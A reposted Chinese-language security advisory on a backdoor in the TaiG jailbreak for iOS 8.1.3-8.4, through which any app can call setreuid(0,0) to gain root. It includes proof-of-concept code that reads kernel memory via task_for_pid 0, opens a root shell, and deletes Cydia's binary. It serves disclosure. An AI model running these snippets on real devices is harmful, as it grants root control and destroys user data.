<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/6919

                    0x00 背景


                    太極越獄iOS8.1.3-8.4含有重大安全后門,越獄后導致任意APP可以提權到Root,從而影響用戶數據的安全。舉例來說獲取Root權限后可以完全控制系統文件,甚至進一步安裝木馬等嚴重威脅用戶安全的惡意軟件。

                    0x01 細節


                    具體分析結果顯示太極越獄修改了setreuid這個關鍵系統API,導致任意APP都可以直接調用setreuid(0,0)獲得Root執行權限,從而可以修改任意系統文件、也可以task_for_pid打開系統內核句柄從而完全控制系統底層。例如通過寫入系統目錄“/Library/LaunchDaemons”可以注冊系統服務,從而植入木馬、病毒、盜號工具威脅用戶隱私數據和密碼。

                    漏洞重現演示如下圖:

                    enter image description here

                    示例一:通過test_taig_backdoor1程序讀取內核內存

                    enter image description here

                    示例二:通過test_taig_backdoor2獲得root權限shell

                    test_taig_backdoor讀取任意內核poc代碼:

                    #!c
                    #include <Foundation/Foundation.h>
                    #include <stdio.h>
                    #include <stdlib.h>
                    #include <unistd.h>
                    #include <sys/types.h>
                    #include <sys/param.h>
                    #include <spawn.h>
                    #include <mach/mach.h>
                    
                    void dump_kernel_memory(vm_address_t addr)
                    {
                        kern_return_t kret;
                        mach_port_t proc_task = 0;
                        vm_size_t ret_size = 0;
                        vm_size_t i;
                        char buffer[128] = {0};
                        int ret;
                    
                        ret = task_for_pid(mach_task_self(), 0, &proc_task);
                        if (ret != 0)
                        {
                            NSLog(@"[err] get tfp0 fail: %d", ret);
                            return;
                        }
                    
                        NSLog(@"task for pid 0 = %u", proc_task);
                    
                            kret = vm_read_overwrite(proc_task,
                                                    addr,
                                                    sizeof(buffer),
                                                      (vm_address_t)buffer,
                                                       &ret_size);
                    
                        char *info = malloc(4096);
                        info[0] = '\0';
                    
                        for (i = 0; i < ret_size; i++)
                        {
                            if (i % 16 == 0) sprintf(info + strlen(info), "\n%p: ", (void *)(addr + i));
                            sprintf(info + strlen(info), "0x%02x ", *(uint8_t*)(buffer + i));
                        }
                        NSLog(@"%s", info);
                    
                        free(info);
                    }
                    
                    int main (int argc, const char * argv[])
                    {
                        if (argc != 2)
                        {
                            NSLog(@"%s [kernel_address]", argv[0]);
                            return 0;
                        }
                    
                        NSLog(@"current uid=%d euid=%d", getuid(), geteuid());
                    
                        /*
                        * taig backdoor test
                        */
                    
                        setreuid(0,0);
                    
                        NSLog(@"now uid=%d euid=%d", getuid(), geteuid());
                    
                        vm_address_t addr = strtoul(argv[1], NULL, 16);
                        dump_kernel_memory(addr);
                    
                        return 0;
                    }
                    

                    test_taig_backdoor2提權poc代碼:

                    #!c
                    void get_root_shell
                    {
                        setreuid(0,0);
                        system("/bin/bash -i");
                    }
                    

                    在APP中添加下面的代碼進行刪除文件測試(謹慎執行):

                    #!c
                    void testBackdoor()
                    {
                    NSLog(@"當前運行進程 uid=%d euid=%d", getuid(), geteuid());
                    setreuid(0,0);
                    NSLog(@"后門提權后,當前運行進程 uid=%d euid=%d", getuid(), geteuid());
                    
                    NSLog(@"刪除任意文件演示(該測試會導致Cydia無法運行,請謹慎執行)");
                    unlink("/Applications/Cydia.app/MobileCydia");
                    }
                    

                    太極越獄iOS8.0-8.1.1未能找到機器進行測試,可能也有此重大后門。

                    0x02 總結


                    越獄軟件中藏有安全后門并非沒有先例。早在針對iOS 7的完美越獄工具evasi0n7中,越獄開發者evad3rs就修改了第0號系統調用,導致任意app可以輕易獲得內核代碼執行的能力。這一做法也引起越獄大神winocm的強烈不滿(http://winocm.moe/projects/research/2014/01/11/evading-ios-security/)。早在2014年Winocm在博文中就已經質疑太極是否在利用這個后門。

                    太極越獄與evad3rs的“緋聞”一直沒有間斷。據福布斯報道(http://www.forbes.com/sites/thomasbrewster/2015/06/26/china-iphone-jailbreak-industry/)(http://mobile.163.com/15/0630/10/ATBNV93H0011671M.html), 太極曾支付evad3rs高達一百萬美金用于越獄合作開發,該合作的產物就是evasi0n7強制安裝“太極助手”的鬧劇。至于太極越獄的安全后門是“慣犯”還是“初犯”的謎底恐怕就無法揭開了。

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频